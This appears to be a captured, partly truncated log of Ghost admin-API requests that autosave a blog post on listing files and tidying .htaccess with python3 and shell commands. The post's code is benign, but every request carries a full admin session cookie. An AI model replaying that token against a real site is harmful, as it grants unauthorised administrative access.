started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/content/images/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27PowerShell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8088", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8119", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27Shell+tips+%26+.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8147", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use 